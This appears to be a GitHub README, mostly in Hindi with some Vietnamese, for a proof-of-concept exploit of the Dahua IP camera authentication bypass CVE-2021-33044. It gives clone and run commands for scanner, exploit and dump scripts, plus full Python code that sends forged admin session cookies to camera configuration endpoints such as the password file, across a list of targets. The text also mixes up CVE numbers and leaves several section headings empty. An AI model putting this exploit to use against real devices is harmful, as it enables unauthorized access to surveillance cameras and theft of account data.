
डाहुआ प्रमाणीकरण बाईपास (CVE-2021-33044) के लिए PoC शोषण। सबनेट स्कैन करता है, एकाधिक CVEs का परीक्षण करता है, और मान्य क्रेडेंशियल्स के बिना तैयार कुकीज़ के माध्यम से डिवाइस कॉन्फ़िगरेशन डंप करता है।
Dahua IP कैमरे सुरक्षा निगरानी प्रणालियों में व्यापक रूप से उपयोग किए जाने वाले IoT उपकरण हैं। चूंकि इन्हें अक्सर आंतरिक नेटवर्क में तैनात किया जाता है या इंटरनेट से एक्सेस किया जाता है, IP कैमरों में सुरक्षा कमजोरियां गोपनीयता और सूचना सुरक्षा को गंभीर रूप से प्रभावित कर सकती हैं।
CVE-2021-33045 कुछ Dahua कैमरा मॉडलों में मौजूद एक सुरक्षा कमजोरी है, जो वैध प्रमाणीकरण के बिना आंतरिक कॉन्फ़िगरेशन संसाधनों तक अनधिकृत पहुंच की अनुमति देती है। यह कमजोरी डिवाइस के फर्मवेयर में ढीले अभिगम नियंत्रण तंत्र से उत्पन्न होती है।
| मद | विवरण |
|---|---|
| CVE | CVE-2021-33044 |
| प्रकार | Authentication Bypass |
| गंभीरता | Critical (CVSS ~9.8) |
| प्रमाणीकरण | आवश्यक नहीं |
| प्रभावित क्षेत्र | Dahua Camera / DVR / NVR |
यह कमजोरी Dahua कैमरा फर्मवेयर में असुरक्षित प्रमाणीकरण डिज़ाइन से उत्पन्न होती है:
यह हमलावर को अनुमति देता है:
संदर्भ:
→ Client gửi HTTP request kèm cookie tùy ý
→ Camera kiểm tra cookie ở mức giao diện
→ Không xác minh session hợp lệ ở backend
→ Cho phép truy cập trực tiếp vào các endpoint cấu hình nội bộ
→ Trả về dữ liệu nhạy cảm
# Clone repository
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# Scan subnet (ports required)
python dahua_scanner.py https://example.com -p 80 8080 8800
# Single host with port
python dahua_scanner.py https://example.com
सामान्य Dahua पोर्ट: 80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # Dump thiết bị sau khi bypass
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
स्क्रिप्ट requests लाइब्रेरी का उपयोग करती है और SSL चेतावनियों को निष्क्रिय करने के लिए सक्रिय रूप से SSL चेतावनियाँ बंद करती है।
dump_accounts(ip, port=80) फ़ंक्शन मुख्य फ़ंक्शन है जो एक कैमरा डिवाइस की जाँच के लिए जिम्मेदार है।
फ़ंक्शन के मुख्य कार्य हैं:
प्रमाणीकरण कुकी का अनुकरण। फ़ंक्शन निम्नलिखित कुकी मानों का उपयोग करता है:
userName=adminuserLevel=1sessionID=00000000प्रभावित कैमरा संस्करणों में, बैकएंड वास्तविक sessionID को सत्यापित नहीं करता है, जिसके परिणामस्वरूप सिस्टम मानता है कि अनुरोध एक वैध व्यवस्थापक खाते से भेजा गया था।
स्क्रिप्ट इनपुट फ़ाइल से लक्ष्य सूची पढ़ती है, प्रत्येक डिवाइस के लिए क्रमिक रूप से जाँच फ़ंक्शन को कॉल करती है। यह दृष्टिकोण कई कैमरों का स्वचालित रूप से मूल्यांकन करने की अनुमति देता है।
ये स्क्रिप्ट निम्नलिखित के आधार पर विकसित की गई हैं:
परीक्षण स्थिति:
यह परियोजना:
| फ़ाइल | उद्देश्य | CVEs |
|---|
dahua_scanner.py | नेटवर्क खोज — सबनेट पर Dahua कैमरे ढूँढना | पता लगाना |
dahua_exploit.py | Multi-CVE स्कैनर — सभी सुरक्षा कमजोरियों की जाँच करता है। | सभी |
dahua_auth_bypass.py | समर्पित प्रमाणीकरण बायपास --dump विकल्प के साथ | CVE-2021-33044 |